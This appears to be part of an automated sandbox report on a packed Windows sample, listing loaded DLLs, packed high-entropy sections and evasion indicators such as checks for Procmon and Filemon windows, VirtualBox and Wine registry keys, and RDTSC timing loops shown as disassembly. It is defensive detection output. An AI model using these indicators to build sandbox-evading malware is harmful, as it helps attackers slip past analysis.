Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1916,i,2138066403308314358,10443051361612717293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1845760 > 1048576

Source: file.exe

Static PE information: Raw size of obdpnpls is bigger than: 0x100000 < 0x198a00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.660000.0.unpack :EW;.rsrc:W;.idata :W; :EW;obdpnpls:EW;nxyctjky:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;obdpnpls:EW;nxyctjky:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c983c should be: 0x1d0369

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: obdpnpls
Source: file.exe	Static PE information: section name: nxyctjky
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BA1070 push ds; iretd	0_3_05BA0F84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BA1070 push ds; iretd	0_3_05BA0F84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BA1070 push ds; iretd	0_3_05BA0F84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013732E6 push edi; ret	0_3_01373303
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01373ACE push esp; iretd	0_3_01373ACF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01354B27 push cs; iretd	0_3_01354B28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01349022 push eax; ret	0_3_01349C9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0134CDB8 pushad ; ret	0_3_0134CDCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01355897 push ds; retf	0_3_01355898
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013732E6 push edi; ret	0_3_01373303
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01373ACE push esp; iretd	0_3_01373ACF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05B9CCEE push edi; ret	0_3_05B9CD0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05B9D4D6 push esp; iretd	0_3_05B9D4D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BA1070 push ds; iretd	0_3_05BA0F84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013834A9 push es; iretd	0_3_0138351C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01384369 push cs; retf	0_3_0138437C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0658E475 push 6F64161Eh; mov dword ptr [esp], esi	0_2_0658F291
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06592B1C push eax; mov dword ptr [esp], ebx	0_2_06593678
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0658EB0B push 6864B1CAh; mov dword ptr [esp], edi	0_2_0658EB1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0658EB0B push edi; mov dword ptr [esp], edx	0_2_0658F159
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0658BE5B push edi; mov dword ptr [esp], ecx	0_2_0658BFA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06591E47 push ebp; mov dword ptr [esp], ecx	0_2_06594E86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659061F push eax; mov dword ptr [esp], edx	0_2_06592C21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659061F push ecx; mov dword ptr [esp], esi	0_2_06594B33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659061F push ebx; mov dword ptr [esp], esi	0_2_0659555F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0658BE03 push es; iretd	0_2_0658BE0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06590E02 push 1401AFBEh; mov dword ptr [esp], edx	0_2_06590E15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0658E605 push edi; mov dword ptr [esp], ebx	0_2_0658ECAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06590E33 push esi; mov dword ptr [esp], ebx	0_2_06594155
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06590EFF push 7E7F4000h; mov dword ptr [esp], edx	0_2_06593772
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06592EEE push eax; mov dword ptr [esp], edx	0_2_06592EF9

Source: file.exe	Static PE information: section name: entropy: 7.979884343292066
Source: file.exe	Static PE information: section name: obdpnpls entropy: 7.954366590054844

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A898 second address: 82A89C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82EE91 second address: 82EEA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE1C8D96871h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82EEA9 second address: 82EEC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC1h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F007 second address: 82F00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F00D second address: 82F01B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jnc 00007FE1C8D8FEB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83176F second address: 831793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ecx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831793 second address: 831798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831798 second address: 8317BD instructions: 0x00000000 rdtsc 0x00000002 js 00007FE1C8D96871h 0x00000008 jmp 00007FE1C8D9686Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 jo 00007FE1C8D96868h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831816 second address: 83181C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83181C second address: 8318EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FE1C8D9686Ah 0x0000000e push 00000000h 0x00000010 jo 00007FE1C8D96867h 0x00000016 cmc 0x00000017 call 00007FE1C8D96869h 0x0000001c jmp 00007FE1C8D9686Dh 0x00000021 push eax 0x00000022 jmp 00007FE1C8D96872h 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b jp 00007FE1C8D9686Eh 0x00000031 mov eax, dword ptr [eax] 0x00000033 jmp 00007FE1C8D96879h 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c jo 00007FE1C8D96889h 0x00000042 pushad 0x00000043 jmp 00007FE1C8D96874h 0x00000048 jmp 00007FE1C8D9686Dh 0x0000004d popad 0x0000004e pop eax 0x0000004f mov edi, dword ptr [ebp+122D2BF1h] 0x00000055 push 00000003h 0x00000057 mov ecx, dword ptr [ebp+122D29D9h] 0x0000005d mov si, 0991h 0x00000061 push 00000000h 0x00000063 sub edx, dword ptr [ebp+122D2955h] 0x00000069 push 00000003h 0x0000006b pushad 0x0000006c mov dword ptr [ebp+122D1793h], eax 0x00000072 popad 0x00000073 call 00007FE1C8D96869h 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8318EE second address: 83199C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jns 00007FE1C8D8FEB6h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007FE1C8D8FEC9h 0x00000016 js 00007FE1C8D8FEB8h 0x0000001c push edx 0x0000001d pop edx 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 pushad 0x00000024 jmp 00007FE1C8D8FEBCh 0x00000029 js 00007FE1C8D8FEB8h 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 mov eax, dword ptr [eax] 0x00000034 jmp 00007FE1C8D8FEC0h 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d jmp 00007FE1C8D8FEC5h 0x00000042 pop eax 0x00000043 mov dword ptr [ebp+122D181Ah], edi 0x00000049 lea ebx, dword ptr [ebp+12448675h] 0x0000004f push 00000000h 0x00000051 push esi 0x00000052 call 00007FE1C8D8FEB8h 0x00000057 pop esi 0x00000058 mov dword ptr [esp+04h], esi 0x0000005c add dword ptr [esp+04h], 00000017h 0x00000064 inc esi 0x00000065 push esi 0x00000066 ret 0x00000067 pop esi 0x00000068 ret 0x00000069 push eax 0x0000006a push ebx 0x0000006b push eax 0x0000006c push edx 0x0000006d jnp 00007FE1C8D8FEB6h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831A6F second address: 831ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jo 00007FE1C8D96866h 0x0000000c pop esi 0x0000000d popad 0x0000000e xor dword ptr [esp], 0B6E83BBh 0x00000015 jo 00007FE1C8D96869h 0x0000001b xor ch, 00000000h 0x0000001e push 00000003h 0x00000020 mov ecx, edx 0x00000022 push 00000000h 0x00000024 mov edx, dword ptr [ebp+122D295Dh] 0x0000002a mov esi, dword ptr [ebp+122D2C35h] 0x00000030 push 00000003h 0x00000032 call 00007FE1C8D96869h 0x00000037 push eax 0x00000038 push ecx 0x00000039 jmp 00007FE1C8D9686Ah 0x0000003e pop ecx 0x0000003f pop eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831ABE second address: 831AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831AC2 second address: 831AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE1C8D96873h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831AE2 second address: 831AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jp 00007FE1C8D8FEB6h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831AF8 second address: 831B39 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE1C8D96876h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007FE1C8D9687Fh 0x00000017 jmp 00007FE1C8D96879h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831BB0 second address: 831BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831BB4 second address: 831C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jns 00007FE1C8D96866h 0x00000011 popad 0x00000012 pop ebx 0x00000013 nop 0x00000014 mov edi, dword ptr [ebp+122D35F9h] 0x0000001a push 00000000h 0x0000001c call 00007FE1C8D96870h 0x00000021 movzx edx, cx 0x00000024 pop ecx 0x00000025 push 298DF5DEh 0x0000002a push ecx 0x0000002b jg 00007FE1C8D96868h 0x00000031 pushad 0x00000032 popad 0x00000033 pop ecx 0x00000034 xor dword ptr [esp], 298DF55Eh 0x0000003b add edx, dword ptr [ebp+122D2705h] 0x00000041 push 00000003h 0x00000043 mov dword ptr [ebp+122D2856h], ecx 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push esi 0x0000004e call 00007FE1C8D96868h 0x00000053 pop esi 0x00000054 mov dword ptr [esp+04h], esi 0x00000058 add dword ptr [esp+04h], 0000001Ch 0x00000060 inc esi 0x00000061 push esi 0x00000062 ret 0x00000063 pop esi 0x00000064 ret 0x00000065 push 00000003h 0x00000067 mov esi, dword ptr [ebp+122D18F1h] 0x0000006d movzx edx, ax 0x00000070 push 6F0839A0h 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 jne 00007FE1C8D96866h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831C47 second address: 831C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843BC7 second address: 843BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843BCB second address: 843BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843BD5 second address: 843BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850964 second address: 85096E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE1C8D8FEB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85096E second address: 850972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850972 second address: 85097A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850B12 second address: 850B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE1C8D96876h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8511C8 second address: 8511DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D8FEC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822083 second address: 8220AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FE1C8D96870h 0x0000000a jmp 00007FE1C8D9686Bh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8220AB second address: 8220C3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE1C8D8FEB6h 0x00000008 ja 00007FE1C8D8FEB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FE1C8D8FEBCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851A8D second address: 851A9D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C8D9686Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8520B8 second address: 8520D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FE1C8D8FEB6h 0x0000000c popad 0x0000000d jmp 00007FE1C8D8FEBFh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8523B4 second address: 8523BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8523BF second address: 8523C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8523C9 second address: 8523CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8523CE second address: 8523E8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE1C8D8FEBAh 0x00000008 jg 00007FE1C8D8FEC2h 0x0000000e jnl 00007FE1C8D8FEB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816817 second address: 816822 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816822 second address: 816828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
